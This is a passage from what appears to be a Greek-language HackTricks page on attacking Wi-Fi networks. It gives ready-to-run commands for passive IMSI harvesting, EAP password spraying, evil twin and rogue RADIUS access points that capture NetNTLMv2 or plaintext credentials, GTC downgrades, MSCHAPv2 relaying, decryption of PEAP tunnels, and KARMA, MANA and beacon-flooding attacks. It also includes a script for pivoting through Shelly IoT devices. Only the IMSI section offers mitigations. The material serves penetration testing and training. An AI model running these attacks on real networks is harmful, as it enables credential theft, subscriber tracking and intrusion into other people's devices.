Ανεξαρτήτως του πρωτοκόλλου, ο PEAP/TTLS server αποκτά γνώση της πραγματικής ταυτότητας του χρήστη μόλις το TLS tunnel έχει εγκαθιδρυθεί. Η πραγματική ταυτότητα μπορεί να αναπαριστάται ως user@realm ή απλώς user. Εάν ο PEAP/TTLS server είναι επίσης υπεύθυνος για την authentication του χρήστη, πλέον διαθέτει την ταυτότητα του χρήστη και προχωρά με τη μέθοδο authentication που προστατεύεται από το TLS tunnel. Εναλλακτικά, ο PEAP/TTLS server μπορεί να προωθήσει ένα νέο RADIUS request στον home RADIUS server του χρήστη. Το νέο αυτό RADIUS request δεν περιλαμβάνει το PEAP ή TTLS πρωτόκολλο. Σε περιπτώσεις όπου η προστατευμένη μέθοδος authentication είναι EAP, τα εσωτερικά EAP μηνύματα μεταβιβάζονται στον home RADIUS server χωρίς το EAP-PEAP ή EAP-TTLS wrapper. Το User-Name attribute του εξερχόμενου RADIUS μηνύματος περιέχει την πραγματική ταυτότητα του χρήστη, αντικαθιστώντας το anonymous User-Name από το εισερχόμενο RADIUS request. Όταν η προστατευμένη μέθοδος authentication είναι PAP ή CHAP (υποστηρίζεται μόνο από TTLS), το User-Name και άλλα authentication attributes που εξαχθήκαν από το TLS payload αντικαθιστούν στο εξερχόμενο RADIUS μήνυμα το anonymous User-Name και τα TTLS EAP-Message attributes που βρέθηκαν στο εισερχόμενο RADIUS request.

For more info check https://www.interlinknetworks.com/app_notes/eap-peap.htm

SIM-based EAP (EAP-SIM/EAP-AKA) identity leakage (IMSI exposure)

SIM-based Wi‑Fi authentication using EAP‑SIM/EAP‑AKA over 802.1X can leak the permanent subscriber identifier (IMSI) in cleartext during the unauthenticated identity phase if the deployment doesn’t implement pseudonyms/protected identities or a TLS tunnel around the inner EAP.

Where the leak happens (high level):

  • 802.11 association completes to the SSID (often carrier offload SSIDs like FreeWifi_secure, eduroam-like operator realms, etc.).
  • Authenticator sends EAP-Request/Identity.
  • Vulnerable clients answer EAP-Response/Identity with their permanent identity = IMSI encoded as a 3GPP NAI, prior to any protection.
  • Example NAI: 20815XXXXXXXXXX@wlan.mnc015.mcc208.3gppnetwork.org
  • Anyone passively listening to RF can read that frame. No 4-way handshake or TLS keying is needed.

Quick PoC: passive IMSI harvesting on EAP‑SIM/AKA networks lacking identity privacy

Κάντε κλικ για εμφάνιση ```bash # 1) Enable monitor mode airmon-ng start wlan0

2) Optional: lock channel to the target BSS

airodump-ng wlan0mon –essid

3) Capture 802.1X/EAP frames

Wireshark display filters:

eap || eapol

(identity specifically): eap.code == 2 && eap.type == 1

Kismet: add source wlan0mon; enable 802.1X/EAP views

tcpdump (pcap capture):

tcpdump -i wlan0mon -s 0 -w eapsim_identity.pcap

4) Wait for a device to auto-connect to the SSID

5) Inspect the first EAP-Response/Identity frame

Expected: ASCII NAI containing IMSI, e.g.

20815XXXXXXXXXX@wlan.mnc015.mcc208.3gppnetwork.org

</details>

Σημειώσεις:
- Λειτουργεί πριν από οποιαδήποτε TLS tunnel εάν η υλοποίηση χρησιμοποιεί απλό EAP‑SIM/AKA χωρίς προστατευμένη ταυτότητα/ψευδωνύμους.
- Η εκτεθειμένη τιμή είναι ένας μόνιμος αναγνωριστικός συνδεδεμένος με την SIM του συνδρομητή· η συλλογή του επιτρέπει μακροχρόνια παρακολούθηση και μετέπειτα καταχρήσεις σε τηλεπικοινωνίες.

Επιπτώσεις
- Ιδιωτικότητα: επίμονη παρακολούθηση χρήστη/συσκευής από παθητικές καταγραφές Wi‑Fi σε δημόσιους χώρους.
- Εκκίνηση καταχρήσεων σε τηλεπικοινωνίες: με το IMSI, ένας επιτιθέμενος με πρόσβαση σε SS7/Diameter μπορεί να ερωτήσει θέση ή να επιχειρήσει υποκλοπή κλήσεων/SMS και κλοπή MFA.

Αντιμετώπιση / τι να προσέξετε
- Επαληθεύστε ότι οι πελάτες χρησιμοποιούν ανώνυμες εξωτερικές ταυτότητες (ψευδωνύμους) για EAP‑SIM/AKA σύμφωνα με τις οδηγίες 3GPP (π.χ., 3GPP TS 33.402).
- Προτιμήστε το τούνελινγκ της φάσης ταυτότητας (π.χ., EAP‑TTLS/PEAP που μεταφέρει εσωτερικά EAP‑SIM/AKA) ώστε το IMSI να μην αποστέλλεται ποτέ σε σαφή μορφή.
- Οι καταγραφές πακέτων (packet captures) της association/auth δεν θα πρέπει ποτέ να αποκαλύπτουν ένα ακατέργαστο IMSI στο EAP-Response/Identity.

Related: Εκμετάλλευση σηματοδοσίας τηλεπικοινωνιών με καταγεγραμμένους κινητούς αναγνωριστές
<a class="content_ref" href="../pentesting-network/telecom-network-exploitation.md"><span class="content_ref_label">Telecom Network Exploitation</span></a>

### EAP-Bruteforce (password spray)

Αν ο πελάτης αναμένεται να χρησιμοποιήσει ένα **όνομα χρήστη και κωδικό** (σημειώστε ότι **EAP-TLS won't be valid** σε αυτήν την περίπτωση), τότε μπορείτε να προσπαθήσετε να αποκτήσετε μια **λίστα** με **ονόματα χρήστη** (βλέπε επόμενο μέρος) και **κωδικούς** και να επιχειρήσετε **bruteforce** την πρόσβαση χρησιμοποιώντας [**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)**.**
```bash
./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt

Μπορείτε επίσης να πραγματοποιήσετε αυτή την επίθεση χρησιμοποιώντας eaphammer:

./eaphammer --eap-spray \
--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
--essid example-wifi \
--password bananas \
--user-list users.txt

Θεωρία επιθέσεων σε πελάτες

Επιλογή δικτύου και περιαγωγή

  • Το πρωτόκολλο 802.11 ορίζει πώς ένας σταθμός εντάσσεται σε ένα Extended Service Set (ESS) αλλά δεν καθορίζει τα κριτήρια επιλογής ενός ESS ή ενός access point (AP) εντός αυτού.
  • Οι σταθμοί μπορούν να μετακινούνται μεταξύ AP που μοιράζονται το ίδιο ESSID, διατηρώντας συνδεσιμότητα σε ένα κτίριο ή περιοχή.
  • Το πρωτόκολλο απαιτεί αυθεντικοποίηση του σταθμού προς το ESS αλλά δεν επιβάλλει αυθεντικοποίηση του AP προς τον σταθμό.

Λίστες Προτιμώμενων Δικτύων (PNLs)

  • Οι σταθμοί αποθηκεύουν το ESSID κάθε ασύρματου δικτύου με το οποίο συνδέονται στη Λίστα Προτιμώμενων Δικτύων (PNL), μαζί με λεπτομέρειες ρυθμίσεων ειδικές για κάθε δίκτυο.
  • Η PNL χρησιμοποιείται για αυτόματη σύνδεση σε γνωστά δίκτυα, βελτιώνοντας την εμπειρία χρήστη με την απλοποίηση της διαδικασίας σύνδεσης.

Παθητική σάρωση

  • Τα AP εκπέμπουν περιοδικά beacon frames, ανακοινώνοντας την παρουσία και τα χαρακτηριστικά τους, συμπεριλαμβανομένου του ESSID του AP, εκτός αν η μετάδοσή του έχει απενεργοποιηθεί.
  • Κατά την παθητική σάρωση, οι σταθμοί “ακούνε” για beacon frames. Αν το ESSID ενός beacon ταιριάζει με εγγραφή στη PNL του σταθμού, ο σταθμός μπορεί να συνδεθεί αυτόματα σε εκείνο το AP.
  • Η γνώση της PNL μιας συσκευής επιτρέπει πιθανή εκμετάλλευση μιμούμενη το ESSID ενός γνωστού δικτύου, ξεγελώντας τη συσκευή να συνδεθεί σε ένα rogue AP.

Ενεργή ανίχνευση

  • Η ενεργή ανίχνευση περιλαμβάνει την αποστολή probe requests από τους σταθμούς για να ανακαλύψουν κοντινά AP και τα χαρακτηριστικά τους.
  • Τα directed probe requests στοχεύουν ένα συγκεκριμένο ESSID, βοηθώντας να ανιχνευθεί αν ένα συγκεκριμένο δίκτυο είναι εντός εμβέλειας, ακόμα και αν είναι hidden.
  • Τα broadcast probe requests έχουν πεδίο SSID null και αποστέλλονται σε όλα τα πλησιέστερα AP, επιτρέποντας στον σταθμό να ελέγξει για οποιοδήποτε προτιμώμενο δίκτυο χωρίς να αποκαλύπτει το περιεχόμενο της PNL του.

Simple AP with redirection to Internet

Πριν εξηγήσουμε πώς να εκτελέσετε πιο σύνθετες επιθέσεις, θα εξηγηθεί πώς απλώς να δημιουργήσετε ένα AP και να ανακατευθύνετε την κυκλοφορία του σε μια διεπαφή συνδεδεμένη στο Διαδίκτυο.

Χρησιμοποιώντας ifconfig -a ελέγξτε ότι η wlan διεπαφή που θα δημιουργήσει το AP και η διεπαφή συνδεδεμένη στο Διαδίκτυο είναι παρούσες.

DHCP & DNS

apt-get install dnsmasq #Manages DHCP and DNS

Δημιουργήστε το αρχείο config /etc/dnsmasq.conf:

interface=wlan0
dhcp-authoritative
dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1

Στη συνέχεια ορίστε IPs και routes:

ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1

Και μετά ξεκινήστε dnsmasq:

dnsmasq -C dnsmasq.conf -d

hostapd

apt-get install hostapd

Δημιουργήστε ένα αρχείο ρυθμίσεων hostapd.conf:

interface=wlan0
driver=nl80211
ssid=MITIWIFI
hw_mode=g
channel=11
macaddr_acl=0
ignore_broadcast_ssid=0
auth_algs=1
wpa=2
wpa_passphrase=mitmwifi123
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
wpa_group_rekey=86400
ieee80211n=1
wme_enabled=1

Σταματήστε τις ενοχλητικές διεργασίες , ρυθμίστε monitor mode, και εκκινήστε hostapd:

airmon-ng check kill
iwconfig wlan0 mode monitor
ifconfig wlan0 up
hostapd ./hostapd.conf

Προώθηση και Ανακατεύθυνση

iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface wlan0 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward

Evil Twin

Μια επίθεση evil twin αξιοποιεί τον τρόπο που οι WiFi clients αναγνωρίζουν δίκτυα, βασιζόμενη κυρίως στο όνομα του δικτύου (ESSID) χωρίς να απαιτεί από το base station (access point) να πιστοποιηθεί στον client. Τα κύρια σημεία περιλαμβάνουν:

  • Δυσκολία στη διάκριση: Οι συσκευές δυσκολεύονται να διακρίνουν ανάμεσα σε νόμιμα και κακόβουλα access points όταν μοιράζονται το ίδιο ESSID και τύπο κρυπτογράφησης. Τα δίκτυα στον πραγματικό κόσμο συχνά χρησιμοποιούν πολλαπλά access points με το ίδιο ESSID για να επεκτείνουν την κάλυψη χωρίς διακοπές.
  • Roaming των client και χειρισμός σύνδεσης: Το πρωτόκολλο 802.11 επιτρέπει στις συσκευές να μετακινούνται μεταξύ access points εντός του ίδιου ESS. Επιτιθέμενοι μπορούν να εκμεταλλευτούν αυτό, προσελκύοντας μια συσκευή να αποσυνδεθεί από το τρέχον base station και να συνδεθεί σε ένα rogue. Αυτό μπορεί να επιτευχθεί προσφέροντας ισχυρότερο σήμα ή διακόπτοντας τη σύνδεση με το νόμιμο access point μέσω μεθόδων όπως deauthentication packets ή jamming.
  • Προκλήσεις στην εκτέλεση: Η επιτυχημένη εκτέλεση μιας evil twin επίθεσης σε περιβάλλοντα με πολλαπλά, καλά τοποθετημένα access points μπορεί να είναι δύσκολη. Το deauthenticating ενός μεμονωμένου νόμιμου access point συχνά οδηγεί στη σύνδεση της συσκευής σε κάποιο άλλο νόμιμο access point, εκτός αν ο επιτιθέμενος μπορεί να deauthenticate όλα τα κοντινά access points ή να τοποθετήσει στρατηγικά το rogue access point.

Μπορείτε να δημιουργήσετε ένα πολύ βασικό Open Evil Twin (χωρίς δυνατότητες να δρομολογήσει traffic στο Internet) κάνοντας:

airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon

Μπορείτε επίσης να δημιουργήσετε ένα Evil Twin χρησιμοποιώντας eaphammer (σημειώστε ότι για να δημιουργήσετε evil twins με eaphammer η διεπαφή δεν πρέπει να είναι σε monitor mode):

./eaphammer -i wlan0 --essid exampleCorp --captive-portal

Ή χρησιμοποιώντας το Airgeddon: Options: 5,6,7,8,9 (inside Evil Twin attack menu).

Παρακαλώ, σημειώστε ότι από προεπιλογή, αν ένα ESSID στην PNL είναι αποθηκευμένο ως προστατευμένο με WPA, η συσκευή δεν θα συνδεθεί αυτόματα σε ένα Open evil Twin. Μπορείτε να προσπαθήσετε να DoS το πραγματικό AP και να ελπίζετε ότι ο χρήστης θα συνδεθεί χειροκίνητα στο Open evil twin σας, ή μπορείτε να DoS το πραγματικό AP και να χρησιμοποιήσετε ένα WPA Evil Twin για να καταγράψετε το handshake (χρησιμοποιώντας αυτή τη μέθοδο δεν θα μπορείτε να αφήσετε το θύμα να συνδεθεί σε εσάς καθώς δεν γνωρίζετε το PSK, αλλά μπορείτε να καταγράψετε το handshake και να προσπαθήσετε να το σπάσετε).

Κάποια OS και AV θα προειδοποιήσουν τον χρήστη ότι η σύνδεση σε ένα Open δίκτυο είναι επικίνδυνη…

WPA/WPA2 Evil Twin

Μπορείτε να δημιουργήσετε ένα Evil Twin χρησιμοποιώντας WPA/2 και αν οι συσκευές έχουν διαμορφωθεί να συνδέονται σε αυτό το SSID με WPA/2, θα προσπαθήσουν να συνδεθούν. Σε κάθε περίπτωση, για να ολοκληρωθεί το 4-way-handshake χρειάζεται επίσης να γνωρίζετε τον κωδικό πρόσβασης που θα χρησιμοποιήσει ο client. Αν δεν τον γνωρίζετε, η σύνδεση δεν θα ολοκληρωθεί.

./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"

Enterprise Evil Twin

Για να κατανοήσετε αυτές τις επιθέσεις, θα συνιστούσα να διαβάσετε πρώτα τη σύντομη WPA Enterprise explanation.

Χρήση hostapd-wpe

hostapd-wpe χρειάζεται ένα αρχείο διαμόρφωσης για να λειτουργήσει. Για να αυτοματοποιήσετε τη δημιουργία αυτών των αρχείων διαμόρφωσης, μπορείτε να χρησιμοποιήσετε https://github.com/WJDigby/apd_launchpad (κατεβάστε το python αρχείο μέσα στο /etc/hostapd-wpe/)

./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
hostapd-wpe ./victim/victim.conf -s

Στο αρχείο ρυθμίσεων μπορείτε να επιλέξετε πολλά διαφορετικά στοιχεία, όπως ssid, channel, user files, cret/key, dh parameters, wpa version και auth…

Χρήση hostapd-wpe με EAP-TLS για να επιτρέπεται σε οποιοδήποτε πιστοποιητικό να συνδεθεί.

Χρήση EAPHammer

# Generate Certificates
./eaphammer --cert-wizard

# Launch Attack
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds

Από προεπιλογή, το EAPHammer χρησιμοποιεί αυτές τις authentication methods (παρατήρησε το GTC ως την πρώτη που προσπαθεί να αποκτήσει plaintext passwords και στη συνέχεια τη χρήση πιο ανθεκτικών auth methods):

GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5

Αυτή είναι η προεπιλεγμένη μεθοδολογία για να αποφευχθούν οι μεγάλοι χρόνοι σύνδεσης. Ωστόσο, μπορείτε επίσης να καθορίσετε στον server τις authentication methods από τις ασθενέστερες στις ισχυρότερες:

--negotiate weakest

Ή μπορείτε επίσης να χρησιμοποιήσετε:

  • --negotiate gtc-downgrade για να χρησιμοποιήσετε μια πολύ αποδοτική υλοποίηση GTC downgrade (plaintext passwords)
  • --negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP για να καθορίσετε χειροκίνητα τις μεθόδους που προσφέρονται (προσφέροντας τις ίδιες auth μεθόδους με την ίδια σειρά όπως η οργάνωση, η επίθεση θα είναι πολύ πιο δύσκολο να εντοπιστεί).
  • Find more info in the wiki

When clients skip RADIUS certificate validation (PEAP/TTLS)

  • Αν οι συσκευές είναι ρυθμισμένες με “do not validate certificate”, ένα cloned AP + rogue RADIUS (eaphammer --cert-wizard --creds --auth wpa-eap) θα συλλέγει NetNTLMv2 (PEAP-MSCHAPv2) ή cleartext creds (PEAP-GTC). bettercap deauth (wifi.deauth <BSSID>) τόσο αποκαλύπτει κρυφά SSIDs κατά τις probes όσο και αναγκάζει επανασυνδέσεις, εκτός αν το PMF/802.11w μπλοκάρει τα spoofed deauth.
  • Το Cracked NetNTLMv2 δίνει επαναχρησιμοποιήσιμα Wi‑Fi/AD creds· το GTC αποδίδει άμεσο plaintext.

Relaying PEAP-MSCHAPv2 instead of cracking (wpa_sycophant + hostapd-mana)

  • Για machine accounts με μη σπώξιμους τυχαίους κωδικούς, καταχραστείτε το MSCHAPv2 relay: τρέξτε hostapd-mana ως το Evil Twin, προωθώντας την ανταλλαγή MSCHAPv2 σε wpa_sycophant, που ταυτόχρονα συνδέεται στο νόμιμο AP. Η επιτυχημένη relay δίνει authenticated Wi‑Fi χωρίς ανάκτηση του κωδικού.
  • Χρησιμοποιήστε builds που υποστηρίζουν το στοχευόμενο επίπεδο ασφάλειας (WPA3/PMF απαιτούν πρόσφατο hostapd/wpa_supplicant); το PMF εμποδίζει το deauth coercion, οπότε περιμένετε για voluntary client associations.

Using Airgeddon

Airgeddon μπορεί να χρησιμοποιήσει προηγουμένως παραχθέντα certificated για να προσφέρει EAP authentication σε WPA/WPA2-Enterprise networks. Το fake network θα υποβαθμίσει το πρωτόκολλο σύνδεσης σε EAP-MD5 ώστε να μπορεί να capture the user and the MD5 of the password. Αργότερα, ο attacker μπορεί να προσπαθήσει να crack-άρει τον κωδικό.
Airggedon offers you the possibility of a continuous Evil Twin attack (noisy) or only create the Evil Attack until someone connects (smooth).

Debugging PEAP and EAP-TTLS TLS tunnels in Evil Twins attacks

This method was tested in an PEAP connection but as I’m decrypting an arbitrary TLS tunnel this should also works with EAP-TTLS

Μέσα στην configuration του hostapd-wpe comment τη γραμμή που περιέχει dh_file (από dh_file=/etc/hostapd-wpe/certs/dh σε #dh_file=/etc/hostapd-wpe/certs/dh)
Αυτό θα κάνει το hostapd-wpe να exchange keys using RSA αντί για DH, έτσι θα είστε σε θέση να decrypt την κίνηση αργότερα knowing the servers private key.

Τώρα ξεκινήστε το Evil Twin χρησιμοποιώντας hostapd-wpe με εκείνη την τροποποιημένη configuration όπως συνήθως. Επίσης, ξεκινήστε wireshark στην interface που εκτελεί την Evil Twin επίθεση.

Τώρα ή αργότερα (όταν έχετε ήδη captured κάποια authentication intents) μπορείτε να προσθέσετε το private RSA key στο wireshark στο: Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...

Προσθέστε μια νέα εγγραφή και συμπληρώστε τη φόρμα με αυτές τις τιμές: IP address = anyPort = 0Protocol = dataKey File (select your key file, για να αποφύγετε προβλήματα επιλέξτε ένα key file without being password protected).

Και δείτε την νέα “Decrypted TLS” tab:

KARMA, MANA, Loud MANA and Known beacons attack

ESSID and MAC black/whitelists

Διάφοροι τύποι Media Access Control Filter Lists (MFACLs) και οι αντίστοιχες λειτουργίες τους στην συμπεριφορά ενός rogue Access Point (AP):

  1. MAC-based Whitelist:
  • Το rogue AP θα απαντά μόνο σε probe requests από συσκευές που καθορίζονται στη whitelist, παραμένοντας αόρατο σε όλες τις άλλες που δεν είναι στη λίστα.
  1. MAC-based Blacklist:
  • Το rogue AP θα αγνοεί probe requests από συσκευές στη blacklist, καθιστώντας το rogue AP ουσιαστικά αόρατο σε αυτές τις συγκεκριμένες συσκευές.
  1. SSID-based Whitelist:
  • Το rogue AP θα απαντά σε probe requests μόνο για συγκεκριμένα ESSIDs που περιλαμβάνονται στη λίστα, καθιστώντας το αόρατο για συσκευές των οποίων τα Preferred Network Lists (PNLs) δεν περιέχουν εκείνα τα ESSIDs.
  1. SSID-based Blacklist:
  • Το rogue AP δεν θα απαντά σε probe requests για τα συγκεκριμένα ESSIDs στη blacklist, καθιστώντας το αόρατο σε συσκευές που αναζητούν εκείνα τα συγκεκριμένα δίκτυα.
# example EAPHammer MFACL file, wildcards can be used
09:6a:06:c8:36:af
37:ab:46:7a:9a:7c
c7:36:8c:b2:*:*

[--mac-whitelist /path/to/mac/whitelist/file.txt #EAPHammer whitelisting]
[--mac-blacklist /path/to/mac/blacklist/file.txt #EAPHammer blacklisting]
# example ESSID-based MFACL file
name1
name2
name3

[--ssid-whitelist /path/to/mac/whitelist/file.txt]
[--ssid-blacklist /path/to/mac/blacklist/file.txt]

KARMA

Αυτή η μέθοδος επιτρέπει σε έναν επιτιθέμενο να δημιουργήσει ένα κακόβουλο access point (AP) που αποκρίνεται σε όλα τα probe requests από συσκευές που προσπαθούν να συνδεθούν σε δίκτυα. Αυτή η τεχνική ξεγελάει τις συσκευές ώστε να συνδεθούν στο AP του επιτιθέμενου μιμούμενη τα δίκτυα που αναζητούν οι συσκευές. Μόλις μια συσκευή στείλει αίτημα σύνδεσης σε αυτό το rogue AP, ολοκληρώνεται η σύνδεση, με αποτέλεσμα η συσκευή να συνδεθεί κατά λάθος στο δίκτυο του επιτιθέμενου.

MANA

Στη συνέχεια, οι συσκευές άρχισαν να αγνοούν μη αξιόπιστες απαντήσεις δικτύου, μειώνοντας την αποτελεσματικότητα της αρχικής επίθεσης karma. Ωστόσο, παρουσιάστηκε μια νέα μέθοδος, γνωστή ως η MANA attack, από τους Ian de Villiers και Dominic White. Αυτή η μέθοδος περιλαμβάνει το rogue AP να συλλαμβάνει τις Preferred Network Lists (PNL) από τις συσκευές απαντώντας στα broadcast probe requests τους με ονόματα δικτύων (SSIDs) που προηγουμένως αποθηκεύτηκαν από τις συσκευές. Αυτή η εξελιγμένη επίθεση παρακάμπτει τα μέτρα προστασίας έναντι της αρχικής επίθεσης karma εκμεταλλευόμενη τον τρόπο με τον οποίο οι συσκευές θυμούνται και δίνουν προτεραιότητα σε γνωστά δίκτυα.

Η επίθεση MANA λειτουργεί παρακολουθώντας τόσο τα directed όσο και τα broadcast probe requests από τις συσκευές. Για τα directed requests, καταγράφει τη MAC address της συσκευής και το ζητούμενο όνομα δικτύου, προσθέτοντας αυτές τις πληροφορίες σε μια λίστα. Όταν ληφθεί ένα broadcast request, το AP απαντά με πληροφορίες που ταιριάζουν με οποιοδήποτε από τα δίκτυα στη λίστα της συσκευής, προσελκύοντας τη συσκευή να συνδεθεί στο rogue AP.

./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]

Loud MANA

Μια Loud MANA attack είναι μια προηγμένη στρατηγική για περιπτώσεις όπου οι συσκευές δεν χρησιμοποιούν directed probing ή όταν οι Λίστες Προτιμώμενων Δικτύων (Preferred Network Lists (PNL)) είναι άγνωστες στον επιτιθέμενο. Λειτουργεί με την αρχή ότι οι συσκευές στην ίδια περιοχή είναι πιθανό να μοιράζονται κάποια ονόματα δικτύων στις PNL τους. Αντί να απαντά επιλεκτικά, αυτή η επίθεση εκπέμπει probe responses για κάθε όνομα δικτύου (ESSID) που βρέθηκε στις συνδυασμένες PNLs όλων των παρατηρούμενων συσκευών. Αυτή η ευρεία προσέγγιση αυξάνει την πιθανότητα μια συσκευή να αναγνωρίσει ένα οικείο δίκτυο και να προσπαθήσει να συνδεθεί στο rogue Access Point (AP).

./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]

Known Beacon attack

Όταν η Loud MANA attack μπορεί να μην είναι επαρκής, η Known Beacon attack προσφέρει μια άλλη προσέγγιση. Αυτή η μέθοδος brute-forces τη διαδικασία σύνδεσης προσομοιώνοντας ένα AP που απαντάει σε οποιοδήποτε όνομα δικτύου, διατρέχοντας μια λίστα πιθανών ESSIDs που προέρχονται από wordlist. Αυτό προσομοιώνει την παρουσία πολλών δικτύων, με την ελπίδα να ταιριάξει κάποιο ESSID στην PNL του θύματος, προκαλώντας προσπάθεια σύνδεσης στο κατασκευασμένο AP. Η επίθεση μπορεί να ενισχυθεί συνδυάζοντάς την με την επιλογή --loud για μια πιο επιθετική προσπάθεια να παγιδεύσει συσκευές.

Eaphammer υλοποίησε αυτή την επίθεση ως MANA attack όπου όλα τα ESSIDs μέσα σε μια λίστα ανακοινώνονται (μπορείτε επίσης να το συνδυάσετε με --loud για να δημιουργήσετε μια Loud MANA + Known beacons attack):

./eaphammer -i wlan0 --mana [--loud] --known-beacons  --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]

Known Beacon Burst attack

Η Known Beacon Burst attack περιλαμβάνει ταχύτατη, συνεχή εκπομπή beacon frames για κάθε ESSID που αναφέρεται σε ένα αρχείο. Αυτό δημιουργεί ένα πυκνό περιβάλλον ψεύτικων δικτύων, αυξάνοντας σημαντικά την πιθανότητα οι συσκευές να συνδεθούν στο rogue AP, ειδικά όταν συνδυάζεται με MANA attack. Η τεχνική αξιοποιεί την ταχύτητα και τον όγκο για να υπερφορτώσει τους μηχανισμούς επιλογής δικτύου των συσκευών.

# transmit a burst of 5 forged beacon packets for each entry in list
./forge-beacons -i wlan1 \
--bssid de:ad:be:ef:13:37 \
--known-essids-file known-s.txt \
--dst-addr 11:22:33:11:22:33 \
--burst-count 5

Wi-Fi Direct

Wi-Fi Direct είναι ένα πρωτόκολλο που επιτρέπει στις συσκευές να συνδέονται απευθείας μεταξύ τους μέσω Wi‑Fi χωρίς την ανάγκη ενός παραδοσιακού wireless access point. Αυτή η δυνατότητα είναι ενσωματωμένη σε διάφορες συσκευές του Internet of Things (IoT), όπως εκτυπωτές και τηλεοράσεις, διευκολύνοντας την άμεση επικοινωνία συσκευή-προς-συσκευή. Ένα αξιοσημείωτο χαρακτηριστικό της Wi‑Fi Direct είναι ότι μία συσκευή αναλαμβάνει τον ρόλο του access point, γνωστή ως group owner, για τη διαχείριση της σύνδεσης.

Η ασφάλεια για τις συνδέσεις Wi‑Fi Direct καθιερώνεται μέσω του Wi‑Fi Protected Setup (WPS), το οποίο υποστηρίζει αρκετές μεθόδους ζεύξης με ασφάλεια, όπως:

  • Push-Button Configuration (PBC)
  • PIN entry
  • Near-Field Communication (NFC)

Αυτές οι μέθοδοι, ειδικά η εισαγωγή PIN, είναι επιρρεπείς στις ίδιες ευπάθειες με το WPS σε παραδοσιακά Wi‑Fi δίκτυα, καθιστώντας τες στόχους για παρόμοια attack vectors.

EvilDirect Hijacking

EvilDirect Hijacking είναι μια επίθεση ειδική για τη Wi‑Fi Direct. Αντιγράφει την ιδέα της επίθεσης Evil Twin αλλά στοχεύει συνδέσεις Wi‑Fi Direct. Σε αυτό το σενάριο, ένας επιτιθέμενος παριστάνει έναν νόμιμο group owner με στόχο να εξαπατήσει συσκευές ώστε να συνδεθούν με κακόβουλη οντότητα. Αυτή η μέθοδος μπορεί να εκτελεστεί με εργαλεία όπως το airbase-ng, καθορίζοντας το channel, ESSID και MAC address της μιμημένης συσκευής:

Commissioning AP persistence & dual-homed IoT pivoting (Shelly Gen4 case)

Ορισμένα καταναλωτικά IoT relays/controllers κρατούν το commissioning open AP ενεργό μετά την είσοδό τους στο IoT WLAN (π.χ. Shelly Gen4 SSIDs που ξεκινούν με Shelly). Η συσκευή παραμένει dual-homed: μια AP διεπαφή με προεπιλεγμένη IP 192.168.33.1 καθώς και μια client διεπαφή στο εσωτερικό WLAN.

Abuse flow (Wi‑Fi proximity required):

  1. Συνδεθείτε στο provisioning AP, αποκτήστε DHCP lease, και περιηγηθείτε στο AP-side HTTP API.
  2. Ενεργοποιήστε relays μέσω μη-επαληθευμένων endpoints, π.χ. http://192.168.33.1/relay/0?turn=on (επιπτώσεις σε πόρτες/πύλες/γκαράζ). Τα firmware upload endpoints μπορούν να προσθέσουν persistence.
  3. Χρησιμοποιήστε το ως ένα pivot: το Shelly scripting μπορεί να στείλει HTTP από την εσωτερική διεπαφή σε άλλους hosts του LAN. Παράδειγμα pivot σε άλλο Shelly στη διεύθυνση 10.0.98.221:
Shelly.addEventHandler(function (event) {
if (event.component === "switch:0" && event.info.state) {
Shelly.call("HTTP.GET", { url: "http://10.0.98.221/light/0?turn=on" });
}
});

Αντικαταστήστε το URL με οποιονδήποτε προσβάσιμο εσωτερικό HTTP στόχο· το dual-homing αποφεύγει επιπλέον routing/NAT δουλειά. 4. Σε κλίμακα: ερωτήστε vendor SSIDs στο wigle.net (π.χ. Shelly) για να εντοπίσετε commissioning APs για εκμετάλλευση επί τόπου.

Για persistence, αφήστε το commissioning AP ενεργό.

References

TODO: Ρίξτε μια ματιά στο [https://github.com/wifiphisher/wifiphisher] (login con facebook e imitacionde WPA en captive portals)

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks